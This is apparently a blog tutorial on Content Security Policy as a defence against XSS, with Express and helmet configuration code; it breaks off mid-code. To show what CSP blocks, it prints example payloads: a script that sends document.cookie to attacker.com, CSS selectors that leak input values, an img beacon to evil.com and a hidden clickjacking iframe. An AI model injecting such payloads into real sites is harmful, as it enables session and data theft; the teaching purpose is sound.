
Published on:
Content Security Policy (CSP) And How to Configure it Against XSS in Node.js
Cross-Site Scripting, or XSS for short, is a type of injection attack where an attacker injects malicious code into a website, often through input fields, causing it to execute as if it were part of the site's legitimate code.
Here's a basic example to illustrate how XSS works:
Suppose you have a social media app where users can comment on each other's posts. An attacker can submit a comment like: "<script> fetch("https://attacker.com/steal?cookie=" + document.cookie); </script>"
Here is a cleaner presentation of the "comment" above:
<script>
fetch("https://attacker.com/steal?cookie=" + document.cookie);
</script>
If your application renders that comment without proper sanitization or escaping, the script will run in the browser of any user who views it, sending sensitive data like session cookies to the attacker's malicious server.
This could allow the attacker to impersonate the user or access sensitive data.
XSS attacks typically exploit weaknesses in how a website handles user input. If user-provided data is not properly validated or escaped, it can be treated as executable code rather than plain text. This opens the door for attackers to sneak malicious JavaScript into seemingly harmless input fields, like comment forms, chat boxes, or profile descriptions.
The impact of XSS can be severe. These scripts can:
- Steal cookies and session tokens.
- Log keystrokes and capture sensitive input.
- Redirect users to malicious websites.
- Perform actions on behalf of the user (like changing passwords or sending messages).
There are many good, tried-and-tested methods of defending against XSS, like:
- Escaping or sanitizing user input.
- Validating input on both client and server.
- Using secure frameworks and libraries that handle encoding automatically.
One particularly powerful mitigation technique, which you should definitely implement in your website, is Content Security Policy (CSP).
What is Content Security Policy?
According to MDN:
Source: MDN Web Docs, licensed under CC-BY-SA 2.5.Content Security Policy is a feature that helps to prevent or minimize the risk of certain types of security threats. It consists of a series of instructions from a website to a browser, which instruct the browser to place restrictions on the things that the code comprising the site is allowed to do.
CSP is a browser-based security standard designed to reduce the risk of XSS and other code injection attacks by specifying which sources of content are allowed to load and execute on your website.
It is a crucial security feature in modern web development, not just because it protects against a wide range of digital threats, but also because it was specifically designed to prevent inline script execution, a primary vector for Cross-Site Scripting.
In XSS context, you can configure CSP to allow scripts only from your own origin, effectively blocking inline scripts and any scripts loaded from untrusted external sources, which can block many common XSS attacks, especially those relying on inline scripts or untrusted external sources.
If the attacker tries to submit the same "comment" mentioned earlier:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
It won't work because the browser isn't allowed to load and execute inline scripts.
CSP acts as a whitelist for trusted sources of scripts and other resources. If you configure it correctly, the browser will simply block the user's script from executing, because it is not included in the permitted list of sources the browser is allowed to load scripts from.
Content Security Policy And Same-Origin Policy
Most browsers already enforce the Same-Origin Policy (SOP) by default. This means a script on one origin can't access data on another origin, protecting against cross-site attacks like CSRF or cross-origin data leaks.
However, SOP does not stop malicious scripts running from within your own origin, such as those injected by an attacker via an XSS vulnerability. That’s where Content Security Policy steps in: it helps prevent those scripts from executing at all.
How Does Content Security Policy Work?
CSP is delivered via HTTP headers or HTML <meta>
tags, although headers are preferred for security
(I'll explain why later).
To see how CSP works, let's check an example of a Content-Security-Policy
header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.example.com;
Here's a brief breakdown of what this header means:
default-src 'self'
: by default, only load content (like images, fonts, etc.) from the same origin as your website.script-src 'self' https://apis.example.com
: allow JavaScript to run only if it comes from your own site or fromhttps://apis.example.com
.
This CSP allows resources only from your domain ('self'), but scripts can be loaded from a trusted third-party API (https://apis.example.com
)
as well. Anything else (scripts from unknown sources, inline scripts, or eval()
calls) will be blocked.
Content Security Policy Header Anatomy
In the example above, the header is made up of directives (like default-src
and script-src
), each
followed by one or more allowed sources (like 'self' https://apis.example.com
for script-src
) separated by spaces.
Each directive with its allowed sources forms a policy, and multiple policies are separated by semicolons.
I’ve explicitly set the policy for scripts, while other content types default to being restricted to my own origin. However, CSP offers many more directives that give you fine-grained control over where different types of content can be loaded from.
script-src
in Detail
script-src
controls which JavaScript sources are allowed to load and execute in the browser, acting as
a powerful gatekeeper between your website and potentially malicious scripts.
Since JavaScript is the primary vector for Cross-Site Scripting (XSS) attacks, script-src
is the
most critical directive for defense against XSS attacks. That's why I’ll be spending considerably more
time on this directive than on any of the others.
script-src
supports a range of values that define what sources are considered safe. Below
are the most commonly used options, along with a brief explanation of what they do:
'none'
: Blocks all scripts from loading.'self'
: Allows scripts to be loaded from the same origin (your own domain).- Specific URLs (
https://cdn.example.com
): Allows scripts from a specific trusted third-party source. 'nonce-<random>'
: Allows inline script blocks (<script>
) only if they include a nonce, a cryptographic random string that changes on every request.<scheme>:
: Allows scripts over the specified protocol (https:
,http:
).'sha256-<hash>'
: Allows inline script blocks (<script>
) whose hashed content matches the hash set in<hash>
.'unsafe-hashes'
: Allows scripts inside event handler attributes (likeonclick
) whose hashed content matches the hash set in<hash>
.'strict-dynamic'
: Allows scripts dynamically added by other trusted scripts, which themselves must be nonce- or hash-based.'unsafe-inline'
: Allows any inline script, whether<script>
tags oronclick
/onload
handlers, to run.'unsafe-eval'
: Allows the use ofeval()
,Function()
constructor, and similar. Very unsafe.
Some values, like 'none'
and 'self'
, are pretty straightforward. So instead of covering all of them,
I’ll focus on the more confusing or less obvious ones to help clarify how they work and when to use them.
Specific URLs (https://cdn.example.com
)
This specifies the exact URL (or URLs) the browser is allowed to load scripts from.
In:
Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.example.com
Only our scripts and those whose src
value is https://apis.example.com
can be loaded
and executed.
You are not limited to just one URL by the way, you can add more if you host your scripts on more than one CDN for example.
You also have the option to match all origins with a wildcard *
, but this is strongly discouraged,
because it opens your site to potential script injection from anywhere. Always prefer explicitly
listing trusted sources!
About subdomains
Keep in mind that subdomains are not automatically included when you specify a URL. For example, if you set https://example.com
as a trusted source, it does not mean that https://cdn.example.com
is trusted as well.
If you want to allow both, you'll have to list them explicitly, like this:
script-src 'self' https://example.com https://cdn.example.com
If you need to match all subdomains of an origin, use the wildcard *
in the place for the subdomain, like
this: *.example.com
. This will match all subdomains of example.com
(like cdn.example.com
or scripts.example.com
).
'nonce-<random>'
One of the key strengths of Content Security Policy (CSP) is its default behavior of blocking inline scripts, which are a common vector for XSS attacks.
By default, CSP blocks things like:
- Inline
<script>
tags. - JavaScript in event handlers (like
onclick
). - Functions like
eval()
.
This means that unless you explicitly allow them, these types of scripts won’t run. That includes malicious scripts injected into places like comment fields or user inputs.
So how can you let your own inline scripts run while still blocking anything suspicious? That’s where nonces come in.
What’s a Nonce?
A nonce (short for number used once) is a random, unique string generated by your server for each page request. You add this nonce to your CSP header and also to each inline script tag you want to allow.
Any inline script block should have that nonce as an attribute, like this one:
<script nonce="abc123">console.log("Safe inline script");</script>
If the nonce on the script tag matches the one the browser received in the CSP header, the script is allowed to run. If it doesn’t match, or if there's no nonce at all, it gets blocked.
Since a nonce
attribute with the correct nonce is required for the <script>
block to run, inline JavaScript
handlers and function like eval()
are not permitted, as they have no way to include or use the nonce. A nonce
only works for inline <script>
blocks.
Why This Protects You
Even if an attacker views the page source and sees the nonce value, they can’t reuse it in a malicious payload, because that nonce is unique to that specific page load (request), which means other users will have different nonces. So an injected script with the wrong nonce will fail silently in other users’ browsers.
This mechanism makes it nearly impossible for an attacker to sneak a working inline script into your site.
'sha256-<hash>'
Another option to secure your inline script blocks is to use a hash instead. Here's how this works:
- You take the inline script's content, and hash it with a secure hashing algorithm, like sha-256.
- Now, the content of every inline script will be hashed, and the result will be compared to the hash that you set in the CSP header.
- If they don't match, the script will be rejected.
This option is very strict and secure. You don't need a nonce generator, which saves you server costs, plus it's ideal for fixed inline scripts, like in static pages.
Of course, since the hashes themselves are generated from the content of the inline scripts, you must recalculate the hashes every time content changes, which makes this approach tedious to manage.
Also, hashing is a computationally expensive task, which makes it not practical for large inline blocks.
By the way, SHA-256 is just one option. You can use SHA-384 or SHA-512 as well.
'unsafe-inline'
This option permits all inline script execution (inline <script>
tags, JavaScript in event handlers and
eval()
), which makes your application vulnerable to XSS attacks.
The only reason you'll ever need to use 'unsafe-inline'
is in legacy systems.
Here is a longer explanation: In older or poorly maintained web applications, it's common to find inline <script>
tags directly in the
HTML like:
<script>alert('hello');</script>
Or JavaScript inside HTML attributes:
<button onclick="submitForm()">Submit</button>
To make these applications CSP-compliant without 'unsafe-inline'
, you'd need to move all inline <script>
blocks into external
JS files or add nonces, and replace inline event handlers with proper JS listeners in separate files, which can be a huge amount of work
for large, old codebases, especially when:
- There’s little or no test coverage.
- The inline scripts are spread across hundreds of pages.
- Refactoring risks breaking the site.
So in these cases, you might temporarily use 'unsafe-inline'
as a stopgap until the app can be modernized.
Otherwise, avoid it at all costs, and stick to proper CSP protection options.
'unsafe-hashes'
'unsafe-hashes'
is a sort of middle ground between using secure script hashes and falling back to 'unsafe-inline'
.
As I explained before, using a hash like 'sha256-<hash>'
works for inline <script>
blocks, but not
for inline JavaScript in HTML attributes like onclick
, onload
, etc.
This is where 'unsafe-hashes'
comes in. When included in your script-src
directive, it allows the
browser to run inline event handlers only if their hashed content matches a valid hash that you’ve explicitly
defined in 'sha256-<hash>'
.
In short, 'unsafe-hashes'
is safer than 'unsafe-inline'
because it only allows inline event handlers
whose hashed content exactly matches pre-approved hashes, while also extending the capabilities of
'sha256-<hash>'
by supporting these inline handlers.
However, it is still not as safe as avoiding inline JavaScript altogether.
'strict-dynamic'
This allows scripts dynamically added by other trusted scripts (which themselves must be nonce- or hash-based).
It's a value that trusts scripts loaded by other trusted scripts, even if those new scripts come from domains not explicitly listed in the policy.
Dynamically loaded scripts are JavaScript files added to the page after it loads, typically using JavaScript code like:
const s = document.createElement('script');
s.src = 'https://cdn.untrusted.com/extra.js';
document.head.appendChild(s);
Without 'strict-dynamic'
, CSP blocks that dynamically added script unless its URL is explicitly listed.
Since 'strict-dynamic'
allows loading content from unknown, dynamically loaded scripts, the primary script must be safe and secure.
That's why a nonce or a hash must be set with 'strict-dynamic'
.
You can't set a CSP header like this:
Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic' https://apis.example.com
The above header will not have the desired effect, and dynamically added script will still be blocked from running, because no nonce or hash is present.
Also to be aware of: 'strict-dynamic'
makes static URLs redundant. If you set both 'strict-dynamic'
and static URLs, the browser
ignores the URLs. So, even though you've set https://apis.example.com
as an allowed origin in the header above, it will still
be blocked from being executed.
One reason you might set both of them is to support older browser who might not support 'strict-dynamic'
.
Other Common CSP directives
I already showed you two directives: script-src
and default-src
, but there are many others that give
us more flexibility in setting up our policy and improving security.
CSP is composed of directives, each controlling a specific type of resource. Here are some of the most commonly used ones:
Directive | What It Controls |
---|---|
default-src | Default policy for loading all content types |
script-src | JavaScript |
style-src | CSS and inline styles |
img-src | Images |
font-src | Fonts |
connect-src | connections using fetch() , WebSocket, EventSource, etc. |
media-src | Audio and video |
frame-src | Sources allowed to be embedded in <iframe> |
frame-ancestors | Who is allowed to embed your site in a frame |
base-uri | Where the <base> HTML tag can point |
report-uri | Which URL to send report violations to (deprecated) |
report-to | Replaced report-uri in CSP level 3 |
Let's take a look at some of those directives in more detail:
style-src
Controls which CSS styles the browser is allowed to load and apply.
It determines where styles can come from, such as external stylesheets, inline styles, or styles with specific hashes, to help protect against style-based injection attacks.
Here is a table displaying the values style-src
can take:
Value | Description |
---|---|
'self' | Allows styles from the same origin (your own server). |
<URL> | Allows stylesheets from specific domains (like https://cdn.example.com ). |
'nonce-xyz' | Allows inline <style> blocks only if they have a matching nonce . |
'sha256-abc...' | Allows <style> blocks based on the hash of their contents. |
'unsafe-hashes' | Allows certain inline styles with matching hashes. |
'unsafe-inline' | Allows all inline styles (style tags and style attributes). |
As you can see, all values valid for script-src
are also valid for style-src
, except for 'strict-dynamic'
,
which is exclusive to script-src
. These values behave the same way in both directives, with one small
nuance.
'sha256-<hash>'
allows <script>
and <style>
blocks based on the hash of their content, and but the
browser will ignore inline styles and JavaScript handlers:
- For scripts: It is event handlers like
onclick
,onchange
, etc. - For styles: It is inline styles written directly using the HTML
style
attribute.
For example, the following inline style would be blocked even if its hash matches:
<button style="color: blue;">Click here</button>
To allow inline styles like this without resorting to 'unsafe-inline'
, you must include 'unsafe-hashes'
in your policy. This tells the browser to allow inline styles only if their content hashes match a
provided 'sha256-<hash>'
value, exactly like with script-src
.
CSS And XSS
While CSS can't directly access or send data like JavaScript can, it can be abused to trigger HTTP requests based on certain conditions, effectively turning styles into a data-leaking side channel.
For example, attackers can use CSS attribute selectors to detect specific values in the DOM (like
usernames, tokens, or user-entered text), and then combine those with background-image: url()
or
similar CSS properties to secretly trigger a request to an external server.
Imagine a form like this:
<input type="text" name="email" value="user@example.com" />
An attacker can inject the following malicious CSS into the page (perhaps through an unsanitized <style>
block):
input[value^="us"] { background-image: url("https://attacker.com/leak?char=us"); }
input[value^="use"] { background-image: url("https://attacker.com/leak?char=use"); }
input[value^="user"] { background-image: url("https://attacker.com/leak?char=user"); }
Here's what this does: The input[value^="us"]
selector matches any input whose value
starts
with "us"
. If the match is successful, the browser will attempt to load the background image
from https://attacker.com/leak?char=us
. That request is sent without the user's knowledge,
effectively leaking data to the attacker.
Each time one matches, the browser leaks another request to the attacker’s server. Using this, they can reconstruct the entire email or token, one character at a time.
By crafting multiple selectors and requests, attackers can infer or "brute-force" sensitive data from form fields, one character at a time.
This is called a CSS-based side-channel attack or CSS exfiltration.
To prevent this kind of attack, a well-configured Content Security Policy should restrict style-src
and img-src
to trusted domains. For example:
Content-Security-Policy: style-src 'self'; img-src 'self';
This policy not only controls where stylesheets can be loaded from, but also where images referenced
within CSS (such as through url()
) can be loaded. By restricting both style-src
and img-src
to
'self'
, it limits styles and images to those hosted on our own server, shutting down the data-leaking
channel.
Recommendations
- Use external stylesheets from trusted sources only.
- Avoid
'unsafe-inline'
, as it allows arbitrary inline CSS and is a major security risk. - Use CSP hashes or nonces for inline styles instead of
'unsafe-inline'
. - Use
'unsafe-hashes'
with a valid hash if you need to allow specific inline styles (like in HTML style attributes), without opening up to all inline styles. - Avoid wildcards
*
to prevent loading styles from unknown or dynamic third-party sources.
img-src
Controls which sources images can be loaded from. It helps prevent attackers from loading or leaking data through unauthorized image URLs.
Here are the possible values img-src
can take:
Value | Description |
---|---|
'none' | Blocks all image loading |
'self' | Allows images from your own origin |
<URL> | Allows images from specific trusted domains |
data: | Allows loading images encoded as data: URIs (inline base64) |
blob: | Allows blob-based image sources (used by JS-generated URLs) |
filesystem: | No longer widely supported; avoid |
The data:
and blob:
schemes are valid sources in CSP, and while they can technically be used with
directives like script-src
and style-src
, they're most commonly used with img-src
.
These schemes are often used to embed images directly into HTML (by using URL.createObjectURL()
for
example) or base64-encoded data.
For example, using a base64-encoded image:
<img src="data:image/png;base64,..." />
Images And XSS
Images can't execute JavaScript, but their best use case is data exfiltration. Take this code for example:
<img src="https://evil.com/log?data=stealThisToken" style="display:none" />
The attacker uses the src
attribute of <img>
tag to send your token to his/her server.
Notice that the request is purely outbound. It sends data to the attacker but can’t receive and run code.
Recommendations
Avoid wildcards like *
and data:
URLs, and restrict to trusted sources only:
Content-Security-Policy: img-src 'self' https://cdn.example.com;
If no external images are required, block them all:
Content-Security-Policy: img-src 'self';
font-src
Controls which sources web fonts (like .woff
or .ttf
files) can be loaded from.
Value | Meaning |
---|---|
'self' | Load fonts from your own origin |
<URL> | Load from a specific external source |
data: | Allow base64-encoded fonts embedded in CSS (rare, not recommended) |
blob: | Allow fonts loaded via blob: URLs |
'none' | Block all fonts |
Recommendations
Only allow trusted font sources.
For example, if you host your own fonts or use a trusted CDN like Google Fonts:
Content-Security-Policy: font-src 'self' https://fonts.gstatic.com; style-src https://fonts.googleapis.com;
And this may sound like a broken record, but avoid using wildcards.
connect-src
It controls outgoing connections via fetch()
, XMLHttpRequest
, WebSockets
, EventSource
, and navigator.sendBeacon()
.
Value | Meaning |
---|---|
'self' | Allow connections to your own domain |
<URL> | Allow calls to specific external APIs |
blob: | Allow blob: URLs (used rarely in this context) |
'none' | Block all outgoing connections |
wss://... / https://... | You can specify protocol and domain for WebSocket/API calls |
connect-src
forms a second line of defense. Consider this scenario:
<script>
fetch("https://attacker.com/log", {
method: "POST",
body: JSON.stringify(document.cookie)
});
</script>
If script-src
wasn't properly configured, connect-src
would step in and disallow the HTTP request to
https://attacker.com/log
if you set the exact URL (or URLs) the browser is allowed to make requests to.
So, even though script-src
is essential to have, it's recommended to set up connect-src
as a backup
to ensure the browser can only send requests to safe, pre-approved origins.
Recommendations
Use 'self'
for same-origin requests, and allow only necessary domains:
Content-Security-Policy: connect-src 'self' https://api.example.com;
frame-src
The frame-src
directive restricts the sources of content your website can embed in an <iframe>
.
Value | Meaning |
---|---|
URL | Allow embedding specific origin(s) like https://www.youtube.com |
'self' | Allow embedding your own pages |
'none' | Disallow all <iframe> embedding |
It prevents your site from embedding untrusted content (and vice versa), and limits attack surfaces related to third-party content.
Its main use case is to prevent Clickjacking. Attackers can use transparent or hidden <iframe>
elements
to trick users into clicking on invisible buttons from another site (like "Delete Account").
This is a classic clickjacking attack.
<iframe src="https://victim-site.com/delete" style="opacity:0; position:absolute"></iframe>
frame-src
helps prevent this by limiting what can be framed.
Recommendations
If your site doesn’t embed any frames, disable it entirely:
Content-Security-Policy: frame-src 'none';
If you absolutely need to embed another website, restrict it to that website only and avoid using
wildcards (*
):
Content-Security-Policy: frame-src 'self' https://trusted.com;
frame-ancestors
Unlike frame-src
, this directive controls which websites are allowed to embed your site in an
<iframe>
or <object>
.
Value | Meaning |
---|---|
'self' | Allows embedding only by the same origin |
'none' | Your website cannot be embedded in other websites |
<URL> | Allows only the specified origin to embed your site |
<scheme> | Allows any origin using the specified scheme |
Recommendations
Block all framing to prevent clickjacking:
Content-Security-Policy: frame-ancestors 'none';
If embedding is required, allow only trusted parent domains:
Content-Security-Policy: frame-ancestors https://partner.example.com;
base-uri
This directive restricts the use of the <base>
HTML tag, which controls how relative URLs are resolved
on your page.
The <base>
tag is placed in the <head>
of an HTML document and defines a base URL or a default target
for all relative URLs on the page like links, scripts, images, etc.
<base href="https://example.com" />
And now, you can set the href
of your <a>
tags like this:
<a href="page2.html">Next</a>
Thanks to <base>
, you don't have to set the whole URL in href
like https://example.com/page2.html
.
The base URL of the entire website is configured with <base>
.
If not restricted by base-uri
, browsers will honor any <base>
tag present in the document.
Attackers might inject a <base>
tag into your HTML to redefine the base path for all relative links,
like images, scripts, or anchors. This way, they can silently redirect form submissions or script
requests to a malicious domain, compromising integrity or stealing data.
Value | Meaning |
---|---|
'self' | Allows the <base> tag to point only to the same origin |
'none' | Disables the effect of any <base> tag |
<URL> | Allows the base URI to be set to the specified origin |
report-uri
Unlike typical directives like script-src
or style-src
, report-uri
doesn’t actively enforce
protection, it simply tells the browser where to send violation reports.
The report-uri
directive in a Content Security Policy (CSP) specifies the endpoint where the browser should
send violation reports if any CSP rule is violated.
For example, you can make an POST
endpoint in your backend (/csp-report
for example) dedicated to receiving
violation reports (with the Content-Type: Application/csp-report
header). These reports are made and sent by the browser, so you don't have to do anything special
at that endpoint other than send a 204 No Content
response, and maybe store or log reports to analyze
and detect real-world attacks or misconfigurations.
Here is a sample of a JSON payload of a violation report:
{
"csp-report": {
"document-uri": "https://example.com/index.html",
"referrer": "",
"violated-directive": "script-src 'self'",
"effective-directive": "script-src",
"original-policy": "script-src 'self'; report-uri /csp-report",
"blocked-uri": "http://malicious.com/script.js",
"line-number": 23,
"column-number": 5,
"source-file": "https://example.com/index.html",
"status-code": 200
}
}
It has various properties, each describing specific aspect of the violated policy, like the blocked source, violated policy, page where the violation occured, etc.
In our example, script-src 'self'
is the violated policy, highlighted in the violated-directive
property, and http://malicious.com/script.js
is the blocked source, shown in blocked-uri
.
Even though report-uri
enjoys widespread support, it is deprecated in CSP Level 3, in which it has been
replaced by report-to
, which we will look at next.
report-to
The report-to
directive is the modern replacement for report-uri
and is part of the Reporting API.
It specifies a named group where the browser should send violation reports.
Due to its limited availability
(it's still not supported in Firefox), it is recommended to set both report-to
and report-uri
to support
both new and older browsers who might not support report-to
, like this:
Content-Security-Policy: default-src 'self'; report-uri /csp-report; report-to csp-group;
Notice that I didn't specify an endpoint URL for report-to
, unlike for report-uri
.
csp-group
is the group name I talked about earlier. You specify it in either the Report-To
or
the newer Reporting-Endpoints
header, which you must define in your backend. Both headers map the
group name to a reporting endpoint.
Using Report-To
(Legacy)
Report-To: {
"group": "csp-group",
"max_age": 10886400,
"endpoints": [
{ "url": "https://example.com/csp-report" }
]
}
This tells the browser to send reports to https://example.com/csp-report
under the csp-group
group, for a
period of 10886400 seconds (126 days).
It's a JSON structure and is supported by most browsers, but is being phased out.
Using Reporting-Endpoints
(Modern)
Alternatively, the newer Reporting-Endpoints
header provides a simpler, non-JSON format:
Reporting-Endpoints: csp-group="https://example.com/csp-report"
This defines the same group, but in a cleaner syntax. It is preferred in modern browsers and aligns with the updated Reporting API spec.
Just like with report-uri
and report-to
, it's recommended to include both Report-To
and Reporting-Endpoints
headers for maximum compatibility.
Example JSON Report Payload
The browser sends these reports as JSON via POST
, this time with the Content-Type: application/reports+json
header, instead of Content-Type: application/csp-report
like with report-uri
.
The format of the report differs from that of report-uri
. Here is an example of what a JSON payload
looks like for report-to
:
{
"age": 53531,
"body": {
"blockedURL": "http://malicious.com/script.js",
"columnNumber": 5,
"disposition": "enforce",
"documentURL": "https://example.com/index.html",
"effectiveDirective": "script-src",
"lineNumber": 23,
"originalPolicy": "script-src 'self'; report-to /csp-report",
"referrer": "",
"sample": "console.log(\"lo\")",
"sourceFile": "https://example.com/index.html",
"statusCode": 200
},
"type": "csp-violation",
"url": "https://example.com/csp-report",
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
}
It has the same information held in the report made when using report-uri
, but with a few differences.
Differences between report-to
and report-uri
The main difference is that all information about the CSP violation is contained inside the body
property. This is because report-to
is used not only for CSP, but for many other types of violations,
specified in the type
property. Some values of type
include network-error
, deprecation
, crash
, etc.
In our example, type
is set to csp-violation
, which means that a CSP violation has occurred.
Like I said before, report-to
integrates well with the new Reporting API. This makes it useful not just
for reporting CSP violations, but all kinds of violations, which you can access through type
property.
One important difference is that report-to
requires a secure context, meaning your site must be served
over HTTPS. Unlike report-uri
, you can’t fully test report-to
using plain http://localhost
.
To test report-to
reports in development, a common approach is to use a tunneling service like Ngrok,
which provides a public HTTPS URL that forwards requests to your local server. This way, you can test
report-to
reporting on your local environment over HTTPS.
Just like with report-uri
, you don't have to return anything from that endpoint, a 204 No Content
response will do just fine. However, logging or storing these reports can provide valuable insights into
attempted policy violations or misconfigurations.
Key Takeaways
'self'
, specific URLs, and 'none' are widely supported across directives.- Nonces, hashes,
'unsafe-inline'
, andunsafe-hashes
are only valid for scripts and styles. 'strict-dynamic'
is only valid for scripts, and only works when combined with a nonce or hash.data:
andblob:
are powerful but risky. Allow only when necessary.- Do not use
*
. Ever! - Including invalid values in a directive won’t cause errors, but they’ll be ignored, which can silently weaken your policy.
Recommended CSP Configuration
For most directives, the general best practice is to allow self-hosted content only, using 'self'
, and
to add specific remote origins only when absolutely necessary (like for trusted CDNs, APIs, or services
your app relies on).
Set default-src
to 'self'
to ensure that any content type not explicitly covered by other directives
will default to allowing only self-hosted resources.
Avoid using wildcards (*
), and for script-src
and style-src
, avoid inline <script>
and <style>
blocks. If you absolutely need them, use nonces and hashes (and unsafe-hashes
if you need to support
inline styles and JavaScript event handlers like onclick
).
Set frame-src
to 'none'
unless you embed trusted content (like YouTube or maps), in which case you
can list those domains explicitly. This measure protects your users from Clickjacking attacks.
Use frame-ancestors 'none';
to prevent other websites from embedding your site in a <iframe>
, which
also helps defend against clickjacking attacks. If your site needs to be embedded by a specific partner or
parent domain, list only that trusted domain.
Finally, use base-uri 'none';
to prevent attackers from changing the <base>
tag, which could alter
how relative URLs resolve and potentially lead to unexpected behavior.
Why You Should Set CSP As A Header And Not As A Meta Tag
I mentioned briefly that it's more secure to set your CSP in a header instead of a meta tag like this:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
But I didn't explain why. So, here are 3 reasons why you should configure CSP in an HTTP header:
1. Headers are enforced earlier
CSP delivered via HTTP headers is applied before any content is parsed by the browser. This means it
can protect against malicious scripts even in the <head>
or early <script>
tags.
Meta-based CSPs, on the other hand, are only applied after the browser encounters the <meta>
tag.
Any inline scripts before that point will not be blocked, even if they violate the policy.
2. Meta tags can’t enforce powerful directives
Some important directives, such as frame-ancestors
, report-uri
, and report-to
are ignored when CSP
is set via a <meta>
tag. These directives only work when CSP is delivered as a header, which means
using a meta tag provides incomplete protection.
3. Meta tags are more vulnerable to injection
If your app is vulnerable to HTML injection, an attacker might modify or insert a <meta>
tag to weaken
or bypass your CSP. HTTP headers, being set server-side, are much harder for attackers to tamper with.
Always configure CSP via the Content-Security-Policy
HTTP response header in your server or application
framework. This ensures early, complete, and tamper-resistant enforcement of your policy.
Deploying CSP in Report-Only Mode
If you configure CSP for the first time, you may encounter multiple errors linked to CSP violations.
This can disrupt you application.
The recommended way is to set up CSP in Report-Only mode. You do that by setting up the
Content-Security-Policy-Report-Only
header instead of Content-Security-Policy
.
They work the same way, and accept the same values. The only difference is that Content-Security-Policy-Report-Only
doesn't block unallowed requests
from taking place, and reports them.
Take this one for example:
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' https://example.com; report-uri /csp-report; report-to /csp-report;
According to the policy set in this header, inline JavaScript are prohibited, but unlike Content-Security-Policy
,
they won't be blocked. The browser will still process inline JavaScript and send a report to /csp-report
endpoint about the inline JS violation.
Simply put, violations are reported but not enforced. This way you can observe what resources would be blocked.
Of course, this means you need to define both report-uri
and report-to
endpoints. Without them,
Content-Security-Policy-Report-Only
is ineffective, since it won’t generate any reports or provide
useful feedback.
This approach is helpful for gradually tightening your CSP without breaking your application. Start with
Content-Security-Policy-Report-Only
to monitor violations and address any issues that are reported.
Once you've resolved them and no new reports appear for a while, you can safely switch to Content-Security-Policy
to actively block unwanted content.
Set Up Content Security Policy in Node.js (Express.js)
I'll set it up in two ways: manually, and using the helmet
library.
Manually
import express from "express";
const app = express();
// Define the Report-To header value
const reportToHeader = JSON.stringify({
group: "csp-group",
max_age: 10886400, // 126 days in seconds
endpoints: [
{ url: "/csp-report" }
]
});
// Define the Reporting-Endpoints header value
const reportingEndpointsHeader = 'csp-group="/csp-report"';
app.use((req, res, next) => {
// Set the CSP header
res.setHeader("Content-Security-Policy", "default-src 'self'; script-src 'self' https://cdn.example.com; report-uri /csp-report; report-to csp-group;");
// Set the Report-To header
res.setHeader("Report-To", reportToHeader);
// Set the Reporting-Endpoints header
res.setHeader("Reporting-Endpoints", reportingEndpointsHeader)
next();
});
// Endpoint accepts both `application/reports+json` and `application/csp-report` to account for
// both `report-to` and `report-uri` reports
app.post('/csp-report', express.json({ type: ['application/reports+json', 'application/csp-report'] }), (req, res) => {
// Logging the report, but you can do other things with it as well, like storing it in your database
console.log('CSP Report:', req.body);
res.sendStatus(204);
});
app.listen(3000, () => {
console.log("Server running on http://localhost:3000");
});
With helmet
helmet
secures your web application by setting various security-related HTTP response headers, like
Cross-Origin-Opener-Policy
, Referrer-Policy
, and Cross-Origin-Resource-Policy
. The one header we
are interested in is the Content-Security-Policy
header.
There are many advantages for using helmet
over manual setup, but I'll list three of them:
1. Clear and Readable Syntax
helmet
makes it easy to write and read CSP policies. Instead of manually constructing a long CSP
string, you use a clear object-based structure like:
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://cdn.example.com"],
reportUri: ["/csp-report"],
reportTo: ["csp-group"],
}
});
Just objects, arrays and strings. This makes policies easier to read, write, and maintain.
2. Validation and Error Prevention
helmet
is less error-prone: it validates your CSP configuration and helps avoid common syntax mistakes.
For example:
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["self"] // ❌ Helmet will complain about missing quotes. It should be "'self'"
}
});
Without helmet
, you'd have to manually construct this as a string, and a small typo could silently
break your policy.
3. Secure Defaults Out of the Box
Another major reason to use helmet
instead of manually configuring headers is that it provides secure
default values for key CSP directives, reducing the risk of misconfiguration and ensuring a solid baseline of protection against common web vulnerabilities.
You still have full control — you can override or extend individual directives while keeping Helmet’s safe defaults in place.
If you prefer to start from scratch, you can disable the defaults entirely by setting useDefaults: false
,
and define only the directives you want:
helmet.contentSecurityPolicy({
useDefaults: false,
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://cdn.example.com"],
reportUri: ["/csp-report"],
reportTo: ["csp-group"],
}
});
Now that we detailed why helmet
is a better approach for constructing your CSP policies, let's go ahead
and configure our CSP.
First, we'll install the required packages:
npm install express helmet
And then in our main server file, we'll set up the same value we set for the first example in this blog post:
import express from "express";
import helmet from "helmet";
const app = express();
// Define the Report-To header value
const reportToHeader = JSON.stringify({
group: "csp-group",
max_age: 10886400, // 126 days in seconds
endpoints: [
{ url: "https://example.com/csp-report" }
]
});
// Define the Reporting-Endpoints header value
const reportingEndpointsHeader = 'csp-group="https://example.com/csp-report"';
// Set the CSP header
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://cdn.example.com"],
reportUri: ["/csp-report"],
reportTo: ["csp-group"],
},
})
);
// Manually add the Report-To and Reporting-Endpoints headers
app.use((req, res, next) => {
res.setHeader("Report-To", reportToHeader);
res.setHeader("Reporting-Endpoints", reportingEndpointsHeader)
next();
});
// Endpoint accepts both `application/reports+json` and `application/csp-report` to account for
// both `report-to` and `report-uri` reports
app.post('/csp-report', express.json({ type: ['application/reports+json', 'application/csp-report'] }), (req, res) => {
// Logging the report, but you can do other things with it as well, like storing it in your database
console.log('CSP Report:', req.body);
res.sendStatus(204);
});
app.listen(3000, () => {
console.log("Server running on http://localhost:3000");
});
Since helmet
doesn't generate the Report-To
and Reporting-Endpoints
headers automatically, we
had to set them manually.
To use Content-Security-Policy-Report-Only
, use reportOnly: true
, like this:
// Set the CSP header
app.use(
